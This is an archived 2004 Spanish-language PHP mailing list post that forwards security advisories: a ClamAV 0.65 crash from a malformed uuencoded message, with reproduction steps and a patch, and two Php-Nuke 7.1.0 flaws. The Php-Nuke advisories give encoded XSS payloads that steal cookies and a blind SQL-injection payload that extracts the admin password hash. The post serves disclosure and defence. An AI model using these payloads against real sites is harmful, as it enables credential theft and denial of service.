Resumen de vulnerabilidades

From: Date: Tue, 10 Feb 2004 09:06:07 +0000
Subject: Resumen de vulnerabilidades
Groups: php.general.es 
Request: Send a blank email to general-es+get-45349@lists.php.net to get a copy of this message
Acabo de recibir dos vulnerabilidades en phpNuke y otra que fríe el clamav, por si alguien lo usa, que tome medidas. Para: bugs@clamav.net cc: bugtraq@securityfocus.com Asunto: clamav 0.65 remote DOS exploit >Description: It is trivial to crash clamd using a malformed uuencoded message, resulting in a denial of service for all programs (e.g. SMTP daemons) relying on clamd running. The message must only contain one uuencoded line with an illegal line lenght, i.e. starting with a small letter. libclamav calculates the line lenght of an uuencoded line by taking the ASCII value of the first character minus 64 and does an `assert' if the length is not in the allowed range, effectively terminating the calling program. >How-To-Repeat: Save the following file to ~/clamtest.mbox, removing the leading 'X': XFrom - X Xbegin 644 byebye Xbyebye Xend Then do: # clamscan --mbox -v ~/clamtest.mbox assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887 Abort (core dumped) or # clamdscan -v ~/clamtest.mbox; ps ax | grep clam >Fix: Apply the following patch to libclamav/message.c: --- libclamav/message.c.orig Wed Nov 5 11:59:53 2003 +++ libclamav/message.c Mon Feb 9 15:17:13 2004 @@ -878,13 +878,16 @@ if(strcasecmp(line, "end") == 0) break; - assert(strlen(line) <= 62); + if(strlen(line) > 62) + break; + if((line[0] & 0x3F) == ' ') break; len = *line++ - ' '; - assert((len >= 0) && (len <= 63)); + if(len < 0 || len > 63) + break; ptr = decode(line, ptr, uudecode, (len & 3) == 0); break; >References: FreeBSD PR 62586: <http://www.freebsd.org/cgi/query-pr.cgi?pr=62586> Para: bugtraq@securityfocus.com Asunto: [waraxe-2004-SA#002] - Cross-Site Scripting (XSS) in Php-Nuke 7.1.0 {================================================================================} { [waraxe-2004-SA#002] } {================================================================================} { } { [ Cross-Site Scripting (XSS) in Php-Nuke 7.1.0 ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 08 Feb 2004 Location: Estonia, Tartu Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke is popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it`s free of charge, easy to install and has broad set of features. Homepage: http://phpnuke.org Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If we look at Php-Nuke`s history, then we can find many cases reporting the XSS in Php-Nuke. Most of them are fixed by now, when we have allready version 7.1.0 available. Despite this I found two new cases of XSS in Php-Nuke 6.x-7.1.0 , maybe in older versions too. Exploit: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let`s look at code from "/modules/News/friend.php" line 84-92 (Php-Nuke 7.1.0): function StorySent($title, $fname) { include ("header.php"); $title = urldecode($title); $fname = urldecode($fname); OpenTable(); echo "<center><font class=\"content\">"._FSTORY." <b>$title</b> ".. _HASSENT." $fname... "._THANKS."</font></center>"; CloseTable(); include ("footer.php"); } If we deliver $title or $fname by GET or POST variable, then we have XSS conditions here. But Php-Nuke will reject GET and POST requests with &lt;script&gt; tags. One way to evade this filter is the using of <img src=foo onload=[code here]>. There is better way to exploit the XSS, and it`s the using of partially or fully urlencoded ("hexed") script for exploit. And because we have lines $title = urldecode($title); and $fname = urldecode($fname); in original code, it will be urldecoded and will work for us, but GET or POST filtering can`t recognize the "&lt;script&gt;" pattern. Same problem has one more module - "Reviews". Proof of concept examples: http://f00bar.com/modules.php?name=News&file=friend&op=StorySent&title =%253cscript>alert%2528document.cookie);%253c/script> http://f00bar.com/modules.php?name=Reviews&rop=postcomment&title =%253cscript>alert%2528document.cookie);%253c/script> Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" ---------------------------------- [ EOF ] ------------------------------------ Para: bugtraq@securityfocus.com Asunto: [waraxe-2004-SA#003] - SQL injection in Php-Nuke 7.1.0 {================================================================================} { [waraxe-2004-SA#003] } {================================================================================} { } { [ SQL injection in Php-Nuke 7.1.0 ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 08 Feb 2004 Location: Estonia, Tartu Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke is popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it`s free of charge, easy to install and has broad set of features. Homepage: http://phpnuke.org Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke 6.x-7.1.0 (maybe older too) have feature called "public message" alias "broadcast message". There exists serious SQL Injection bug in implementation code of this feature, which can lead to stealing of sensitive data from database, including admin`s username and password md5 hash and finally to total overtaking of the site. Exploit: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let`s look at original code from "/mainfile.php" function "public_message()": if (!is_user($user) OR (is_user($user) AND ($pm_show == 1))) { $c_mid = base64_decode($p_msg); $sql = "SELECT mid, content, date, who FROM ".$prefix."_public_messages WHERE mid > '$c_mid' ORDER BY date ASC LIMIT 1"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); We can deliver the variable $p_msg by GET, POST or COOKIE parameter and because the Php-Nuke will make force all GPC variables to be global, it will work even with "register_globals = Off"; Now comes the funniest part - because $c_mid will be derived from base64_decoded string, then we can have unescaped single slashes, delivered directly to SQL query, and "magic_quotes_gpc = On" can`t do anything about that!! How can we use this to do something useful (from the point of attacker)? If the MySQL has version 4.x, then answer is: unions. Consider this example: $c_mid = x'UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name ='God' AND IF(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/* which will be finally: SELECT mid, content, date, who FROM nuke_public_messages WHERE mid > 'x' UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name='God' AND IF (mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/* ' ORDER BY date ASC LIMIT 1 This method is so called "blind fishing", where we can get information from database byte by byte, and it will work WITHOUT visual feedback from script. In our example, if first char of the superadmin`s password md5 hash is '0', then the page generation will be delayed for some seconds. If it`s not '0', then we have normal page generation time and we can try next char - in this case '1'. I wrote for proof of concept perl script, which can be found at: http://www.zone.ee/waraxe/sa003/bcast.pl.php Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Un saludo, Danny

« previous php.general.es (#45349) next »